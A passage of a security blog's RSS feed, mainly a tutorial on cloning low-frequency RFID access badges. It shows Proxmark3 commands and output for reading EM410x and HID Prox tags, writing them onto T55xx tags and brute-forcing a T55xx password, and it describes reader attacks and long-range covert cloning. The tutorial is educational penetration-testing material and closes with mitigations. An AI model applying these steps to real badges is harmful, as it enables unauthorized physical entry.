&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As I suspected the last 4 bits don&amp;rsquo;t change even if the signal changes. This means that they are simple trailing bits and not parity bits or a form of checksum.&lt;/p&gt;
&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;After the analysis, everything about how this board operates is known.
Since this device was pretty old I wasn&amp;rsquo;t expecting behaviors any more complex that the ones we observed.&lt;/p&gt;
&lt;p&gt;I was left with a deeper understanding on radio communications, in particular of the concept of modulations.
This was in fact the first time I was confronted with the PWM modulation in a real life scenario.
Decoding these signals both visually and using specialized software allowed me to learn new tools I&amp;rsquo;ll be using for future experiments.&lt;/p&gt;
</content:encoded>

      </item><item>
        <title>Cloning RFID tags for fun and profit</title>
        <link>https://lessonsec.com/posts/cloning-rfid-tags-for-fun-and-profit/</link>
        <guid isPermaLink="true">https://lessonsec.com/posts/cloning-rfid-tags-for-fun-and-profit/</guid>
        <pubDate>Tue, 20 Apr 2021 16:27:00 &#43;0200</pubDate><description>RFID tags are a technology commonly used but not limited to industrial purposes. These systems are in fact used every day as public transport passes, as security token in access control systems or as a digital &amp;ldquo;bar code&amp;rdquo; in shops.</description>
	<content:encoded>&lt;p&gt;RFID tags are a technology commonly used but not limited to industrial purposes. These systems are in fact used every day as public transport passes, as security token in access control systems or as a digital &amp;ldquo;bar code&amp;rdquo; in shops.
Given the diffusion these tags have, it&amp;rsquo;s important to understand how they work and the security implication of their use.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Radio-frequency identification (RFID) uses electromagnetic fields to automatically identify and track tags attached to objects.&lt;br&gt;
An RFID system consists of a tiny radio transponder, a radio receiver and transmitter. When triggered by an electromagnetic interrogation pulse from a nearby RFID reader device,  the tag transmits digital data, back to the reader. - &lt;a href=&#34;https://en.wikipedia.org/wiki/Radio-frequency_identification&#34;&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/rfid/main.jpg&#34; alt=&#34;rfid tools&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;RFID tools&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&#34;whats-rfid&#34;&gt;What&amp;rsquo;s RFID?&lt;/h3&gt;
&lt;p&gt;RFID is a set of standards and technologies because it includes multiple frequency ranges such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LF: 120–150 kHz&lt;/li&gt;
&lt;li&gt;HF: 13.56 MHz&lt;/li&gt;
&lt;li&gt;UHF: 433 MHz&lt;/li&gt;
&lt;li&gt;UHF: 865–868 MHz (Europe) 902–928 MHz (North America)&lt;/li&gt;
&lt;li&gt;microwave: 2450–5800 MHz&lt;/li&gt;
&lt;li&gt;microwave: 3.1–10 GHz&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In practice, only tags operating in the LF range are commonly called RFID tags while tags operating in the HF range are called NFC tags.&lt;br&gt;
The rest are radio technologies not limited to the near field use (i.e. bluetooth).&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s a big difference between RFID and NFC tags and it hides in the specifications. They operate on different frequencies, use different protocols, offer different features and have different uses. Some RFID devices can be compatible with NFC readers, but that doesn&amp;rsquo;t mean that they strictly follow the NFC specs. Further considerations on the difference between these technologies are out of the scope of this article, but it&amp;rsquo;s important not to confuse the two.&lt;/p&gt;
&lt;p&gt;LF tags operate in the 120–150 kHz range, but the most commonly used frequencies are 125kHz for access control tags and 134kHz for uses like pet chips. Other frequencies can be used but the vast majority of tags use either 125kHz or 134kHz. Such low frequencies can limit the data transmission speed.&lt;/p&gt;
&lt;p&gt;RFID LF tags can be passive. This means that the tag is powered and interrogated by the reader. Or active, meaning that the tag is powered with a battery and that it continuously broadcasts data.
While active tags are used, they often have specific purposes. This article will focus on RFID LF passive tags since it&amp;rsquo;s the most common variant found in everyday life.&lt;/p&gt;
&lt;p&gt;RFID LF tags have poor transmission speed but are incredibly cheap to produce. Due to this, they are so widely employed where speed is not fundamental.
The reading distance of LF tags is usually better compared to HF reading distance. In fact, LF is referred as a vicinity technology, while HF is generally called a proximity technology.&lt;/p&gt;
&lt;p&gt;Industrial uses aside, one of the main uses of these tags is as access control tokens. It&amp;rsquo;s common to see these tags in form of badges or key fobs, and these can be used to access homes, offices or critical infrastructures.&lt;/p&gt;
&lt;p&gt;There are numerous models of RFID LF tags each with it&amp;rsquo;s specific features and peculiarities, but the use as a security token is not ideal for one main reason: RFID LF tags can be an insecure option. (note that are exceptions: some tags can employ a password or crypto mode, one of the very few examples are &lt;a href=&#34;https://www.nxp.com/products/rfid-nfc/hitag-lf:MC_42027&#34;&gt;Hitag2&lt;/a&gt; tags and these security measures &lt;a href=&#34;https://www.cs.bham.ac.uk/~tpc/isecsem/talks/EZ.pdf&#34;&gt;can still be circumvented&lt;/a&gt;!)&lt;/p&gt;
&lt;p&gt;In this article, we will see how it&amp;rsquo;s possible to read, write and clone these tags and learn about possible implications due to misuse of this technology.&lt;/p&gt;
&lt;h3 id=&#34;how-to-work-with-rfid-tags&#34;&gt;How to work with RFID tags&lt;/h3&gt;
&lt;p&gt;To work with RFID tags, specialized hardware is necessary.&lt;/p&gt;
&lt;p&gt;Different devices exist:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Chinese cloners&lt;br&gt;
Simple devices that read from one tag and write on another.
Generally, these are hand-held, feature read and write buttons, and have a couple of status LEDs.
Some are more advanced than others and can feature a little screen.
Compatibility for frequencies and standards may vary, but these devices are usually good enough for simpler tasks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;RFID Chameleon&lt;br&gt;
Developed to be used in RFID security assessments.
Doesn&amp;rsquo;t offer the most advanced features, but is designed to be used in the field, is battery powered and supports tag simulation and manipulation.
It is also programmable and you can use it with an app.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s probably the best solution for a standalone use.&lt;br&gt;
More here: &lt;a href=&#34;https://kasper-oswald.de/gb/chameleonmini/&#34;&gt;https://kasper-oswald.de/gb/chameleonmini/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Proxmark3&lt;br&gt;
As the website puts it: Proxmark is an RFID swiss-army tool.
It represents the state of the art when it comes to RFID research.
It allows interacting with the tags both high and low level.
Different versions have different features, including bluetooth support, battery packs,
swappable antennas and so on.&lt;/p&gt;
&lt;p&gt;It supports a standalone use, but it&amp;rsquo;s more powerful when connected to a PC.
It&amp;rsquo;s to be intended  as a research tool.&lt;br&gt;
More here: &lt;a href=&#34;https://www.proxmark.com/&#34;&gt;https://www.proxmark.com/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Generic boards&lt;br&gt;
Other boards exist. These are usually sold as an Arduino add on, but dongles featuring
the same integrated circuits are available.
These are not widely used outside the makers world, but many are compatible with
&lt;a href=&#34;http://www.nfc-tools.org/index.php/Libnfc&#34;&gt;&lt;code&gt;libnfc&lt;/code&gt;&lt;/a&gt; and can be useful to perform simple to advanced operations.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The only device that I have available is a Proxmark3 easy (cheap Chinese version) so this
article will focus on its use. The underlying concepts about RFID tags should translate to other devices.&lt;/p&gt;
&lt;h3 id=&#34;tags-that-emulate-other-tags&#34;&gt;Tags that emulate other tags&lt;/h3&gt;
&lt;p&gt;When it comes to working with RFID LF tags, there&amp;rsquo;s one main player: the &lt;a href=&#34;http://ww1.microchip.com/downloads/en/DeviceDoc/Atmel-9187-RFID-ATA5577C_Datasheet.pdf&#34;&gt;T55xx&lt;/a&gt; tag&lt;/p&gt;
&lt;p&gt;They are a family of tags developed to emulate a wide range of regular tags.
This means that it&amp;rsquo;s possible to clone most of the RFID tags around using one of these
without having to carry writable cards for each and every tag model.&lt;/p&gt;
&lt;p&gt;This tag features 8 x 32 bit blocks in page 0 and 4 x 32 blocks in page 1.
Page 1 blocks are meant to be used for configuration purposes along with block 0 and 7 in page 0.
Blocks 1 to 6 in page 0 are dedicated to user data.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/rfid/t55xx.jpg#center&#34; alt=&#34;t55xx&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;T55xx memory layout&lt;br /&gt;Credit - Microchip ATA5577C datasheet&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Of course, it&amp;rsquo;s possible to work directly on the configuration blocks, and this is what allows the emulation
of other type of tags, but doing so carelessly can easily lead to a brick!&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/rfid/bricked.jpg#center&#34; alt=&#34;bricked tag&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Bricked T55xx&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Original Atmel T5577 tags have a test mode and that can be helpful to recover soft-bricked cards.&lt;/p&gt;
&lt;h3 id=&#34;cloning-tags&#34;&gt;Cloning tags&lt;/h3&gt;
&lt;p&gt;Using the proxmark3 CLI, reading and writing devices is pretty straightforward.
First off you need to look for the device:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[usb] pm3 --&amp;gt; lf search

[=] NOTE: some demods output possible binary
[=] if it finds something that looks like a tag
[=] False Positives ARE possible
[=] 
[=] Checking for known tags...
[=] 
[+] EM 410x ID 1122334455
[+] EM410x ( RF/64 )
[=] -------- Possible de-scramble patterns ---------
[+] Unique TAG ID      : 8844CC22AA
[=] HoneyWell IdentKey
[+]     DEZ 8          : 03359829
[+]     DEZ 10         : 0573785173
[+]     DEZ 5.5        : 08755.17493
[+]     DEZ 3.5A       : 017.17493
[+]     DEZ 3.5B       : 034.17493
[+]     DEZ 3.5C       : 051.17493
[+]     DEZ 14/IK2     : 00073588229205
[+]     DEZ 15/IK3     : 000585269781162
[+]     DEZ 20/ZK      : 08080404121202021010
[=] 
[+] Other              : 17493_051_03359829
[+] Pattern Paxton     : 289899093 [0x11478255]
[+] Pattern 1          : 5931804 [0x5A831C]
[+] Pattern Sebury     : 17493 51 3359829  [0x4455 0x33 0x334455]
[=] ------------------------------------------------

[+] Valid EM410x ID found!
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The proxmark found an EM410x tag! We can now try to read it:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[usb] pm3 --&amp;gt; lf em 410x reader
[+] EM 410x ID 1122334455
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s try with another type of tag:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[usb] pm3 --&amp;gt; lf search

[=] NOTE: some demods output possible binary
[=] if it finds something that looks like a tag
[=] False Positives ARE possible
[=] 
[=] Checking for known tags...
[=] 
[+] [H10301] - HID H10301 26-bit;  FC: 118  CN: 1603    parity: valid
[=] raw: 000000000000002006ec0c86

[+] Valid HID Prox ID found!
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It&amp;rsquo;s an HID Prox tag, let&amp;rsquo;s try and read its ID:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[+] [H10301] - HID H10301 26-bit;  FC: 118  CN: 1603    parity: valid
[=] raw: 000000000000002006ec0c86
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And just like that we got the devices ID. That ID is the authentication token!
If we can write this token on a T55xx tag, we can emulate the card and possibly gain access
to a restricted perimeter.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s see how it&amp;rsquo;s done.&lt;br&gt;
First we need to get a T55xx tag and position it on the reader. When empty this device
can&amp;rsquo;t be found using &lt;code&gt;lf search&lt;/code&gt;, so we can make sure it&amp;rsquo;s a T55xx tag using the detect command:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[usb] pm3 --&amp;gt; lf t55xx detect
[=]  Chip type......... T55x7
[=]  Modulation........ ASK
[=]  Bit rate.......... 2 - RF/32
[=]  Inverted.......... No
[=]  Offset............ 32
[=]  Seq. terminator... Yes
[=]  Block0............ 00088048 (auto detect)
[=]  Downlink mode..... default/fixed bit length
[=]  Password set...... No
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;lf t55 detect&lt;/code&gt; command is also necessary before using this tag because it detects the configuration in use and helps avoiding problems running other &lt;code&gt;lf t55&lt;/code&gt; commands.&lt;/p&gt;
&lt;p&gt;Now we can see the content of the device:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[usb] pm3 --&amp;gt; lf t55xx dump
[+] Reading Page 0:
[+] blk | hex data | binary                           | ascii
[+] ----+----------+----------------------------------+-------
[+]  00 | 00088048 | 00000000000010001000000001001000 | ...H
[+]  01 | 00000000 | 00000000000000000000000000000000 | ....
[+]  02 | 00000000 | 00000000000000000000000000000000 | ....
[+]  03 | 00000000 | 00000000000000000000000000000000 | ....
[+]  04 | 00000000 | 00000000000000000000000000000000 | ....
[+]  05 | 00000000 | 00000000000000000000000000000000 | ....
[+]  06 | 00000000 | 00000000000000000000000000000000 | ....
[+]  07 | 00000000 | 00000000000000000000000000000000 | ....
[+] Reading Page 1:
[+] blk | hex data | binary                           | ascii
[+] ----+----------+----------------------------------+-------
[+]  00 | 00088048 | 00000000000010001000000001001000 | ...H
[+]  01 | E03900D0 | 11100000001110010000000011010000 | .9..
[+]  02 | C60337D7 | 11000110000000110011011111010111 | ..7.
[+]  03 | 00A00003 | 00000000101000000000000000000011 | ....
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that it&amp;rsquo;s possible to operate on single blocks too, but for the purpose of this article, it&amp;rsquo;s easier to dump the whole memory instead.&lt;/p&gt;
&lt;p&gt;We see that the card doesn&amp;rsquo;t contain user data. If it did, wiping the card with the &lt;code&gt;lf t55xx wipe&lt;/code&gt; command would be suggested.
We can now try and emulate tags on it!
To do that we only need to have the ID of the tags we want to emulate. We already saw how that&amp;rsquo;s done.&lt;/p&gt;
&lt;p&gt;We can now go ahead and clone the tags, let&amp;rsquo;s try the em410x first:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[usb] pm3 --&amp;gt; lf em 410x clone --id 1122334455
[+] Preparing to clone EM4102 to T55x7 tag with ID 1122334455 (RF/64)
[#] Clock rate: 64
[#] Tag T55x7 written with 0xff8c65298c94a940
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once the command is issued, we can read the device and verify that it emulates an em410x tag:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[usb] pm3 --&amp;gt; lf em 410x reader
[+] EM 410x ID 1122334455
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Of course it&amp;rsquo;s still a T55xx tag (and the &lt;code&gt;detect&lt;/code&gt; command will tell you that) but it behaves exactly like and em410x.&lt;/p&gt;
&lt;p&gt;Now we can try with the HID Prox.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[usb] pm3 --&amp;gt; lf hid clone --r 000000000000002006ec0c86
[=] Preparing to clone HID tag using raw 000000000000002006ec0c86
[=] Done
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And of course reading it reveals that we successfully cloned the tag:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;usb] pm3 --&amp;gt; lf hid reader
[+] [H10301] - HID H10301 26-bit;  FC: 118  CN: 1603    parity: valid
[=] raw: 000000000000002006ec0c86
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We now have two key fob tags copied on T55xx cards!&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/rfid/cloned.jpg&#34; alt=&#34;cloned tags&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Original and cloned tags&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In this demo only HID Prox and em410x tags are examined, but it&amp;rsquo;s possible to clone and work with many more of these tags.&lt;/p&gt;
&lt;p&gt;Since it&amp;rsquo;s possible to emulate cards knowing the ID, we can clone some RFID LF cards &amp;ldquo;by sight&amp;rdquo; simply reading the ID printed to the device body.
This completely removes the limit of having to read the card with a specialized tool.
Some of these printed ID are &amp;ldquo;encoded&amp;rdquo; (or shifted by some value). This allows organizations to &amp;ldquo;decode&amp;rdquo; it, but prevents attackers from obtaining the ID by sight.&lt;/p&gt;
&lt;p&gt;At this point you might be wondering if it&amp;rsquo;s THAT easy to clone a tag in the real world, the answer is no. That&amp;rsquo;s for a simple reason, the tag is passive and if we use the standard antennas provided with whichever device, the reading range is limited to a few centimeters.&lt;/p&gt;
&lt;p&gt;Luckily, it&amp;rsquo;s possible to weaponize a bigger antenna! If we use a bigger and more powerful antenna, it&amp;rsquo;s possible to clone a LF tag from a usable distance. Of course the antenna will need to be powered by a big battery pack and carried in some kind of backpack or messenger bag, but that&amp;rsquo;s the price to pay.&lt;/p&gt;
&lt;p&gt;More here: &lt;a href=&#34;https://www.youtube.com/watch?v=wYmVtNQPlF4&#34;&gt;https://www.youtube.com/watch?v=wYmVtNQPlF4&lt;/a&gt;&lt;br&gt;
(NOTE: many other implementations exist!)&lt;/p&gt;
&lt;h3 id=&#34;defeating-password-protection&#34;&gt;Defeating password protection&lt;/h3&gt;
&lt;p&gt;When examining the T55xx tag, you may have noticed a parameter &amp;ldquo;Password set&amp;rdquo;. That&amp;rsquo;s because
this tag can be password protected!&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[usb] pm3 --&amp;gt; lf t55xx protect -n 00001234
[=] Checking current configuration
[+] Wrote new password
[+] Validated new password
[+] Wrote modified configuration block
[!] ⚠️  Safety check: Could not detect if PWD bit is set in config block. Exits.
[?] Consider using the override parameter to force read.
[=] Block0 write detected, running `detect` to see if validation is possible
[=]  Chip type......... T55x7
[=]  Modulation........ ASK
[=]  Bit rate.......... 2 - RF/32
[=]  Inverted.......... No
[=]  Offset............ 33
[=]  Seq. terminator... Yes
[=]  Block0............ 000880F0 (auto detect)
[=]  Downlink mode..... default/fixed bit length
[=]  Password set...... Yes
[=]  Password.......... 00001234

[+] New configuration block 000880F0 password 00001234
[+] Success, tag is locked
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;At this point we can&amp;rsquo;t operate on this tag without knowing the password, for instance
the &lt;code&gt;detect&lt;/code&gt; command won&amp;rsquo;t work as expected:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[usb] pm3 --&amp;gt; lf t55xx detect 
[!] ⚠️  Could not detect modulation automatically. Try setting it manually with &#39;lf t55xx config&#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But it does if the correct password is specified:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[usb] pm3 --&amp;gt; lf t55xx detect -p 00001234
[=]  Chip type......... T55x7
[=]  Modulation........ ASK
[=]  Bit rate.......... 2 - RF/32
[=]  Inverted.......... No
[=]  Offset............ 33
[=]  Seq. terminator... Yes
[=]  Block0............ 000880F0 (auto detect)
[=]  Downlink mode..... default/fixed bit length
[=]  Password set...... Yes
[=]  Password.......... 00001234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Can we circumvent this? The simple answer is no.
The device is completely locked and without the password it&amp;rsquo;s impossible to do anything.&lt;/p&gt;
&lt;p&gt;Luckily the proxmark allows bruteforce attacks.&lt;/p&gt;
&lt;p&gt;While this type of attack works, it&amp;rsquo;s a really slow and instable method. This means it&amp;rsquo;s hard to try all the possible passwords before the connection drops. It may seem that the password protection is effective and that&amp;rsquo;s true if you don&amp;rsquo;t have the right tools. On the other hand, with quality reading devices and unlimited access to the target tag, success is granted.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s a demo on the tag we just password protected:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[usb] pm3 --&amp;gt; lf t55xx bruteforce -s 00000000 -e FFFFFFFF
[=] press &#39;enter&#39; to cancel the command
[=] Search password range [00000000 -&amp;gt; FFFFFFFF]
.[=] Trying password 00000000
.[=] Trying password 00000001
.[=] Trying password 00000002
.[=] Trying password 00000003
.[=] Trying password 00000004
.[=] Trying password 00000005
.[=] Trying password 00000006
.[=] Trying password 00000007
.[=] Trying password 00000008
.[=] Trying password 00000009
.[=] Trying password 0000000A
.[=] Trying password 0000000B
.[=] Trying password 0000000C
.[=] Trying password 0000000D

[...]

.[=] Trying password 0000122D
.[=] Trying password 0000122E
.[=] Trying password 0000122F
.[=] Trying password 00001230
.[=] Trying password 00001231
.[=] Trying password 00001232
.[=] Trying password 00001233
.[=] Trying password 00001234
[=]  Chip type......... T55x7
[=]  Modulation........ ASK
[=]  Bit rate.......... 2 - RF/32
[=]  Inverted.......... No
[=]  Offset............ 33
[=]  Seq. terminator... Yes
[=]  Block0............ 000880F0 (auto detect)
[=]  Downlink mode..... default/fixed bit length
[=]  Password set...... Yes
[=]  Password.......... 00001234

[+] Found valid password: [ 00001234 ]
Downlink Mode used : default/fixed bit length

[+] time in bruteforce 1215 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As you can see, it took ~20 minutes to crack a 4 hex digit password. It may seem to be a reasonable time but we must consider that the password can be double the length and that having access to the card for long periods of time is not always an option.&lt;/p&gt;
&lt;h3 id=&#34;attacks-on-rfid-readers&#34;&gt;Attacks on RFID readers&lt;/h3&gt;
&lt;p&gt;Finally, we can talk about attacks on the readers. There are two main attacks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tag simulation&lt;/li&gt;
&lt;li&gt;Data exfiltration&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We saw that we can simulate a tag using the proxmark, but what if the ID we have read and simulated doesn&amp;rsquo;t have enough permission to grant us access somewhere?
In this scenario, it&amp;rsquo;s possible to use the read value as an upper limit to the ID space to research, and simulate every ID lower than that value hoping to find an ID with higher privileges. This attack is based on the assumption that lower IDs may have higher privileges because such privileges are associated with users registered earlier into the system, hence the lower ID value.
As for the bruteforce attack, this process may take a while, so it&amp;rsquo;s not always a usable technique.&lt;/p&gt;
&lt;p&gt;A sneakier way to get valid IDs is to install a device such as the &lt;a href=&#34;https://redteamtools.com/espkey&#34;&gt;ESPKey&lt;/a&gt; inside the reader.
This approach allows the interception of data directly from the wires and can harvest valid IDs.
Of course, this requires a physical access to the reader.&lt;/p&gt;
&lt;p&gt;Using the proxmark is also possible to sniff data from a tag to a reader.&lt;br&gt;
Given the antenna range, this is not a widely used technique and personally I haven&amp;rsquo;t tried it yet.&lt;/p&gt;
&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;
&lt;p&gt;This article shows how, with the right hardware, it is possible to clone RFID tags with relatively low skills.&lt;/p&gt;
&lt;p&gt;What&amp;rsquo;s scary is how easy it is to &amp;ldquo;steal&amp;rdquo; valuable credentials. In an access control context, a stolen ID constitutes a danger for a business because of the implications of a possible unauthorized entry into a critical infrastructure.&lt;/p&gt;
&lt;p&gt;Possible mitigations include using a stronger authentication mechanism and trainings on RFID security and how to keep access tokens safe. Simple precautions like using an RFID shield (test those! some doesn&amp;rsquo;t work!) and avoiding to keep a tag in sight can often be a huge improvement in access token security.&lt;/p&gt;
&lt;p&gt;A secure reader is also crucial. Some readers offer tamper detection mechanisms and actively try to detect and disable rewritable tags to avoid unauthorized entry.&lt;/p&gt;
&lt;p&gt;RFID credentials cloning can be one of the strongest tools in the arsenal of a physical penetration tester.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;This article was reviewed by an external source, big thanks to them!&lt;/p&gt;
</content:encoded>

      </item>

  </channel>
</rss>
